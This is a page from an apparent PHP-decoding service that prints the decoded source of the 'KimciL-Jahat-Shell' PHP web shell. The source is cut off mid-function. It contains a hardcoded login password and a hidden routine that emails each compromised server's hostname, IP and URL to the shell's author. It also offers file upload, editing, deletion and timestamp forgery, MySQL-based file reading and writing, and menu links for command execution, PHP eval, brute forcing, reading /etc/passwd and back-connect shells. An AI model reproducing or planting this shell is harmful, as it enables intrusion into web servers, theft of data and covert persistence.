Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $a = 'LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKipcDQp8KiAgICAgIEtpbWNpT..

Decoded Output download

/****************************************\
|*      KimciL-Jahat-Shell v1.0		*|
|*     	   ReCodeD by xSouL 	        *|
|*  	   http://bkht.org/    		*|
|*   	 ==  DageLan Team  ==        	*|
\****************************************/

error_reporting(7);
@set_magic_quotes_runtime(0);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
define('IS_COM', class_exists('COM') ? 1 : 0 );
define('IS_GPC', get_magic_quotes_gpc());
$dis_func = get_cfg_var('disable_functions');
define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
@set_time_limit(0);

foreach(array('_GET','_POST') as $_request) {
	foreach($$_request as $_key => $_value) {
		if ($_key{0} != '_') {
			if (IS_GPC) {
				$_value = s_array($_value);
			}
			$$_key = $_value;
		}
	}
}

/*=================  Info Login  ================*/
$admin = array();
$admin['check'] = true;
$admin['pass']  = 'segitiga10'; // Password login
$admin['cookiepre'] = '';
$admin['cookiedomain'] = '';
$admin['cookiepath'] = '/';
$admin['cookielife'] = 86400;
/*===================== End =====================*/

if ($charset == 'utf8') {
	header("content-Type: text/html; charset=utf-8");
} elseif ($charset == 'big5') {
	header("content-Type: text/html; charset=big5");
} elseif ($charset == 'gbk') {
	header("content-Type: text/html; charset=gbk");
} elseif ($charset == 'latin1') {
	header("content-Type: text/html; charset=iso-8859-2");
}

$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$timestamp = time();

/*===================== Login =====================*/
if ($action == "logout") {
	scookie('vbapass', '', -86400 * 365);
	p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
	p('<body background=black>');
	exit;
}
if($admin['check']) {
	if ($doing == 'login') {
		if ($admin['pass'] == $password) {
			scookie('vbapass', $password);

// Function mail Sender to my Email - Please remove this before you using this shell code, Thanks - Fernando - VBATeam
$time_shell = "".date("d/m/Y - H:i:s")."";
$ip_remote = $_SERVER["REMOTE_ADDR"];
$from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
$to_email = '[email protected]';
$server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])."  - ".$_SERVER['HTTP_HOST']."";
$linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
$header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
@mail($to_email, $server_mail, $linkcr, $header);
			p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
			p('<body bgcolor=black>
<BR><BR><div align=center><font color=yellow face=tahoma size=2>xSouL - BIANG KEROX HACKER TEAM  - Tunggu Sek...<BR><img src=http://t3.gstatic.com/images?q=tbn:ANd9GcRFIQy9oLc9jMWmDY_N_sxjWPyusUWC4igwK2lqBm68aDGcSfKPPA></div>');
			exit;
		}

	else
	{
	$err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Passwordmu salah, Jajalo Maneh!!!</blink><BR></font></div></td></tr></table>';
echo $err_mess;
	}}
	if ($_COOKIE['vbapass']) {
		if ($_COOKIE['vbapass'] != $admin['pass']) {
			loginpage();
		}
	} else {
		loginpage();
	}
}
/*===================== Login =====================*/

$errmsg = '';

if ($action == 'phpinfo') {
	if (IS_PHPINFO) {
		phpinfo();
	} else {
		$errmsg = 'phpinfo() function has non-permissible';
	}
}


if ($doing == 'downfile' && $thefile) {
	if (!@file_exists($thefile)) {
		$errmsg = 'File sek ameh tok download gak enek';
	} else {
		$fileinfo = pathinfo($thefile);
		header('Content-type: application/x-'.$fileinfo['extension']);
		header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
		header('Content-Length: '.filesize($thefile));
		@readfile($thefile);
		exit;
	}
}


if ($doing == 'backupmysql' && !$saveasfile) {
	dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
	$table = array_flip($table);
	$result = q("SHOW tables");
	if (!$result) p('<h2>'.mysql_error().'</h2>');
	$filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
	header('Content-type: application/unknown');
	header('Content-Disposition: attachment; filename='.$filename);
	$mysqldata = '';
	while ($currow = mysql_fetch_array($result)) {
		if (isset($table[$currow[0]])) {
			$mysqldata .= sqldumptable($currow[0]);
		}
	}
	mysql_close();
	exit;
}

// Mysql
if($doing=='mysqldown'){
	if (!$dbname) {
		$errmsg = 'Please input dbname';
	} else {
		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
		if (!file_exists($mysqldlfile)) {
			$errmsg = 'File sek ameh tok download gak enek';
		} else {
			$result = q("select load_file('$mysqldlfile');");
			if(!$result){
				q("DROP TABLE IF EXISTS tmp_angel;");
				q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
				//Download SQL
				q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
				$result = q("select content from tmp_angel");
				q("DROP TABLE tmp_angel");
			}
			$row = @mysql_fetch_array($result);
			if (!$row) {
				$errmsg = 'Load file gagal '.mysql_error();
			} else {
				$fileinfo = pathinfo($mysqldlfile);
				header('Content-type: application/x-'.$fileinfo['extension']);
				header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
				header("Accept-Length: ".strlen($row[0]));
				echo $row[0];
				exit;
			}
		}
	}
}

?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title><?php echo str_replace('.','','xSouL - BIANG KEROX HACKER TEAM');?></title>
<style type="text/css">
body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}

a {color: #74A202;text-decoration:none;}
a:hover{color: #f00;text-decoration:underline;}
.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
input, textarea, button
{
	font-size: 9pt;
	color: #ccc;
	font-family: verdana, sans-serif;
	background-color: #202020;
	border-left: 1px solid #74A202;
	border-top: 1px solid #74A202;
	border-right: 1px solid #74A202;
	border-bottom: 1px solid #74A202;
}
select
{
	font-size: 8pt;
	font-weight: normal;
	color: #ccc;
	font-family: verdana, sans-serif;
	background-color: #202020;
}

</style>
<script type="text/javascript">
function CheckAll(form) {
	for(var i=0;i<form.elements.length;i++) {
		var e = form.elements[i];
		if (e.name != 'chkall')
		e.checked = form.chkall.checked;
    }
}
function $(id) {
	return document.getElementById(id);
}
function goaction(act){
	$('goaction').action.value=act;
	$('goaction').submit();
}
</script>
</head>
<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://www.alif-porn.com/photo.jpg>


<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
				<table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
					<tr>
						<td align="center" valign=center>
				 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600"  align="center">
				   Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
				  </div>
				</td>
					</tr>
				</table>
			 </div>
 <script>
 var ld=(document.all);
  var ns4=document.layers;
 var ns6=document.getElementById&&!document.all;
 var ie4=document.all;
  if (ns4)
 	ld=document.loading;
 else if (ns6)
 	ld=document.getElementById("loading").style;
 else if (ie4)
 	ld=document.all.loading.style;
  function init()
 {
 if(ns4){ld.visibility="hidden";}
 else if (ns6||ie4) ld.display="none";
 }
 </script>




<table width="100%" border="0" cellpadding="0" cellspacing="0">
	<tr class="head_small">
		<td  width=100%>
		<table width=100%><tr class="head_small"><td  width=86px><a title="xSouL - Biang Kerox Hacker Team" href="<?php $self;?>"><img src=http://sphotos-h.ak.fbcdn.net/hphotos-ak-prn1/524636_323248661135419_78926472_n.jpg height=86 border=0></a></td><td>
		<span style="float:left;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?>  | <a href="http://bkht.org/" target="_blank"><?php echo str_replace('.','','xSouL - BIANG KEROX HACKER TEAM');?> </a> | <a href="javascript:goaction('logout');"><font color=red>Logout</font></a></span> <br />

		<?php
		$curl_on = @function_exists('curl_version');
		$mysql_on = @function_exists('mysql_connect');
		$mssql_on = @function_exists('mssql_connect');
		$pg_on = @function_exists('pg_connect');
		$ora_on = @function_exists('ocilogon');

echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));
echo "PHP version: <b>".@phpversion()."</b> - ";
		echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
		echo "MySQL: <b>";
$mysql_on = @function_exists('mysql_connect');
if($mysql_on){
echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }
echo "MSSQL: <b>";
$mssql_on = @function_exists('mssql_connect');
if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
echo "PostgreSQL: <b>";
$pg_on = @function_exists('pg_connect');
if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
echo "Oracle: <b>";
$ora_on = @function_exists('ocilogon');
if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}

echo "Disable functions : <b>";
if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}

echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
		?>
		</td></tr></table></td>
	</tr>
	<tr class="alt1">
		<td  width=10%><span style="float:left;">[Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span>   <br />
--------------------------------------------------------------------------------------<br />
			
			<a href="javascript:goaction('file');">File Manager</a> |
			<a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
			<a href="javascript:goaction('sqlfile');">MySQL Upload &amp; Download</a> |
			<a href="javascript:goaction('shell');">Execute Command</a> |
			<a href="javascript:goaction('phpenv');">PHP Variable</a> |
			<a href="javascript:goaction('eval');">Eval PHP Code</a>
			<?php if (!IS_WIN) {?> | <a href="javascript:goaction('brute');">Brute</a> <?php }?>
			<?php if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php }?>
			<?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
		</td>
	</tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php

formhead(array('name'=>'goaction'));
makehide('action');
formfoot();

$errmsg && m($errmsg);

// Dir function
!$dir && $dir = '.';
$nowpath = getPath(SA_ROOT, $dir);
if (substr($dir, -1) != '/') {
	$dir = $dir.'/';
}
$uedir = ue($dir);

if (!$action || $action == 'file') {

	// Non-writeable
	$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';

	// Delete dir
	if ($doing == 'deldir' && $thefile) {
		if (!file_exists($thefile)) {
			m($thefile.' direktori gak ada');
		} else {
			m('Directory delete '.(deltree($thefile) ? basename($thefile).' sukses' : 'gagal'));
		}
	}

	// Create new dir
	elseif ($newdirname) {
		$mkdirs = $nowpath.$newdirname;
		if (file_exists($mkdirs)) {
			m('Direktorine wes enek cok !');
		} else {
			m('Directory created '.(@mkdir($mkdirs,0777) ? 'sukses' : 'gagal'));
			@chmod($mkdirs,0777);
		}
	}

	// Upload file
	elseif ($doupfile) {
		m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'sukses' : 'gagal'));
	}

	// Edit file
	elseif ($editfilename && $filecontent) {
		$fp = @fopen($editfilename,'w');
		m('simpen file '.(@fwrite($fp,$filecontent) ? 'sukses' : 'gagal'));
		@fclose($fp);
	}

	// Modify
	elseif ($pfile && $newperm) {
		if (!file_exists($pfile)) {
			m('The original file does not exist');
		} else {
			$newperm = base_convert($newperm,8,10);
			m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'sukses' : 'gagal'));
		}
	}

	// Rename
	elseif ($oldname && $newfilename) {
		$nname = $nowpath.$newfilename;
		if (file_exists($nname) || !file_exists($oldname)) {
			m($nname.' has already existed or original file does not exist');
		} else {
			m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' sukses' : 'gagal'));
		}
	}

	// Copu
	elseif ($sname && $tofile) {
		if (file_exists($tofile) || !file_exists($sname)) {
			m('The goal file has already existed or original file does not exist');
		} else {
			m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' sukses' : 'gagal'));
		}
	}

	// File exit
	elseif ($curfile && $tarfile) {
		if (!@file_exists($curfile) || !@file_exists($tarfile)) {
			m('The goal file has already existed or original file does not exist');
		} else {
			$time = @filemtime($tarfile);
			m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'sukses' : 'gagal'));
		}
	}

	// Date
	elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
		if (!@file_exists($curfile)) {
			m(basename($curfile).' does not exist');
		} else {
			$time = strtotime("$year-$month-$day $hour:$minute:$second");
			m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'sukses' : 'gagal'));
		}
	}

	// Download
	elseif($doing == 'downrar') {
		if ($dl) {
			$dfiles='';
			foreach ($dl as $filepath => $value) {
				$dfiles.=$filepath.',';
			}
			$dfiles=substr($dfiles,0,strlen($dfiles)-1);
			$dl=explode(',',$dfiles);
			$zip=new PHPZip($dl);
			$code=$zip->out;
			header('Content-type: application/octet-stream');
			header('Accept-Ranges: bytes');
			header('Accept-Length: '.strlen($code));
			header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
			echo $code;
			exit;
		} else {
			m('Please select file(s)');
		}
	}

	// Delete file
	elseif($doing == 'delfiles') {
		if ($dl) {
			$dfiles='';
			$succ = $fail = 0;
			foreach ($dl as $filepath => $value) {
				if (@unlink($filepath)) {
					$succ++;
				} else {
					$fail++;
				}
			}
			m('Deleted file have finished??choose '.count($dl).' sukses '.$succ.' gagal '.$fail);
		} else {
			m('Please select file(s)');
		}
	}

	// Function Newdir
	formhead(array('name'=>'createdir'));
	makehide('newdirname');
	makehide('dir',$nowpath);
	formfoot();
	formhead(array('name'=>'fileperm'));
	makehide('newperm');
	makehide('pfile');
	makehide('dir',$nowpath);
	formfoot();
	formhead(array('name'=>'copyfile'));
	makehide('sname');
	makehide('tofile');
	makehide('dir',$nowpath);
	formfoot();
	formhead(array('name'=>'rename'));
	makehide('oldname');
	makehide('newfilename');
	makehide('dir',$nowpath);
	formfoot();
	formhead(array('name'=>'fileopform'));
	makehide('action');
	makehide('opfile');
	makehide('dir');
	formfoot();

	$free = @disk_free_space($nowpath);
	!$free && $free = 0;
	$all = @disk_total_space($nowpath);
	!$all && $all = 0;
	$used = $all-$free;
	$used_percent = @round(100/($all/$free),2);
	p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');

?>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  <form action="" method="post" id="godir" name="godir">
  <tr>
    <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
	<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
    <td nowrap><input class="bt" value="GO" type="submit"></td>
  </tr>
  </form>
</table>
<script type="text/javascript">
function createdir(){
	var newdirname;
	newdirname = prompt('Please input the directory name:', '');
	if (!newdirname) return;
	$('createdir').newdirname.value=newdirname;
	$('createdir').submit();
}
function fileperm(pfile){
	var newperm;
	newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
	if (!newperm) return;
	$('fileperm').newperm.value=newperm;
	$('fileperm').pfile.value=pfile;
	$('fileperm').submit();
}
function copyfile(sname){
	var tofile;
	tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
	if (!tofile) return;
	$('copyfile').tofile.value=tofile;
	$('copyfile').sname.value=sname;
	$('copyfile').submit();
}
function rename(oldname){
	var newfilename;
	newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
	if (!newfilename) return;
	$('rename').newfilename.value=newfilename;
	$('rename').oldname.value=oldname;
	$('rename').submit();
}
function dofile(doing,thefile,m){
	if (m && !confirm(m)) {
		return;
	}
	$('filelist').doing.value=doing;
	if (thefile){
		$('filelist').thefile.value=thefile;
	}
	$('filelist').submit();
}
function createfile(nowpath){
	var filename;
	filename = prompt('Please input the file name:', '');
	if (!filename) return;
	opfile('editfile',nowpath + filename,nowpath);
}
function opfile(action,opfile,dir){
	$('fileopform').action.value=action;
	$('fileopform').opfile.value=opfile;
	$('fileopform').dir.value=dir;
	$('fileopform').submit();
}
function godir(dir,view_writable){
	if (view_writable) {
		$('godir').view_writable.value=1;
	}
	$('godir').dir.value=dir;
	$('godir').submit();
}
</script>
  <?php
	tbhead();
	p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
	p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
	p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
	if ($view_writable) {
		p(' | <a href="javascript:godir(\''.$nowpath.'\');">delok kabeh</a>');
	} else {
		p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">delok Writable</a>');
	}
	p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">gawe File</a>');
	if (IS_WIN && IS_COM) {
		$obj = new COM('scripting.filesystemobject');
		if ($obj && is_object($obj)) {
			$DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
			foreach($obj->Drives as $drive) {
				if ($drive->DriveType == 2) {
					p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'&#13;Free:'.sizecount($drive->FreeSpace).'&#13;Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
				} else {
					p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
				}
			}
		}
	}

	p('</td></tr></form>');

	p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');

	// Get path
	$dirdata=array();
	$filedata=array();

	if ($view_writable) {
		$dirdata = GetList($nowpath);
	} else {
		// Open dir
		$dirs=@opendir($dir);
		while ($file=@readdir($dirs)) {
			$filepath=$nowpath.$file;
			if(@is_dir($filepath)){
				$dirdb['filename']=$file;
				$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
				$dirdb['dirchmod']=getChmod($filepath);
				$dirdb['dirperm']=getPerms($filepath);
				$dirdb['fileowner']=getUser($filepath);
				$dirdb['dirlink']=$nowpath;
				$dirdb['server_link']=$filepath;
				$dirdb['client_link']=ue($filepath);
				$dirdata[]=$dirdb;
			} else {
				$filedb['filename']=$file;
				$filedb['size']=sizecount(@filesize($filepath));
				$filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
				$filedb['filechmod']=getChmod($filepath);
				$filedb['fileperm']=getPerms($filepath);
				$filedb['fileowner']=getUser($filepath);
				$filedb['dirlink']=$nowpath;
				$filedb['server_link']=$filepath;
				$filedb['client_link']=ue($filepath);
				$filedata[]=$filedb;
			}
		}// while
		unset($dirdb);
		unset($filedb);
		@closedir($dirs);
	}
	@sort($dirdata);
	@sort($filedata);
	$dir_i = '0';
	foreach($dirdata as $key => $dirdb){
		if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
			$thisbg = bg();
			p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
			p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
			p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
			p('<td nowrap>'.$dirdb['mtime'].'</td>');
			p('<td nowrap>--</td>');
			p('<td nowrap>');
			p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
			p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
			p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
			p('</tr>');
			$dir_i++;
		} else {
			if($dirdb['filename']=='..') {
				p('<tr class=fout>');
				p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
				p('</tr>');
			}
		}
	}

	p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
	p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
	makehide('action','file');
	makehide('thefile');
	makehide('doing');
	makehide('dir',$nowpath);
	$file_i = '0';
	foreach($filedata as $key => $filedb){
		if($filedb['filename']!='..' && $filedb['filename']!='.') {
			$fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
			$thisbg = bg();
			p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
			p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
			p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
			p('<td nowrap>'.$filedb['mtime'].'</td>');
			p('<td nowrap>'.$filedb['size'].'</td>');
			p('<td nowrap>');
			p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
			p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
			p('<td nowrap>');
			p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
			p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
			p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
			p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
			p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
			p('</td></tr>');
			$file_i++;
		}
	}
	p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
	p('</form></table>');
}// end dir

elseif ($action == 'sqlfile') {
	if($doing=="mysqlupload"){
		$file = $_FILES['uploadfile'];
		$filename = $file['tmp_name'];
		if (file_exists($savepath)) {
			m('The goal file has already existed');
		} else {
			if(!$filename) {
				m('Please choose a file');
			} else {
				$fp=@fopen($filename,'r');
				$contents=@fread($fp, filesize($filename));
				@fclose($fp);
				$contents = bin2hex($contents);
				if(!$upname) $upname = $file['name'];
				dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
				$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
				m($result ? 'Upload sukses' : 'Upload has gagal: '.mysql_error());
			}
		}
	}
?>
<script type="text/javascript">
function mysqlfile(doing){
	if(!doing) return;
	$('doing').value=doing;
	$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
	$('mysqlfile').dbport.value=$('dbinfo').dbport.value;
	$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
	$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
	$('mysqlfile').dbname.value=$('dbinfo').dbname.value;
	$('mysqlfile').charset.value=$('dbinfo').charset.value;
	$('mysqlfile').submit();
}
</script>
<?php
	!$dbhost && $dbhost = 'localhost';
	!$dbuser && $dbuser = 'root';
	!$dbport && $dbport = '3306';
	$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
	formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
	makehide('action','sqlfile');
	p('<p>');
	p('DBHost:');
	makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
	p(':');
	makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
	p('DBUser:');
	makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
	p('DBPass:');
	makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
	p('DBName:');
	makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
	p('DBCharset:');
	makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
	p('</p>');
	formfoot();
	p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
	p('<h2>Upload file</h2>');
	p('<p><b>This operation the DB user must has FILE privilege</b></p>');
	p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
	p('<h2>Download file</h2>');
	p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
	makehide('dbhost');
	makehide('dbport');
	makehide('dbuser');
	makehide('dbpass');
	makehide('dbname');
	makehide('charset');
	makehide('doing');
	makehide('action','sqlfile');
	p('</form>');
}

elseif ($action == 'sqladmin') {
	!$dbhost && $dbhost = 'localhost';
	!$dbuser && $dbuser = 'root';
	!$dbport && $dbport = '3306';
	$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
	if(isset($dbhost)){
		$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
	}
	if(isset($dbuser)) {
		$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
	}
	if(isset($dbpass)) {
		$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
	}
	if(isset($dbport)) {
		$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
	}
	if(isset($dbname)) {
		$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
	}
	if(isset($charset)) {
		$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
	}

	if ($doing == 'backupmysql' && $saveasfile) {
		if (!$table) {
			m('Please choose the table');
		} else {
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
			$table = array_flip($table);
			$fp = @fopen($path,'w');
			if ($fp) {
				$result = q('SHOW tables');
				if (!$result) p('<h2>'.mysql_error().'</h2>');
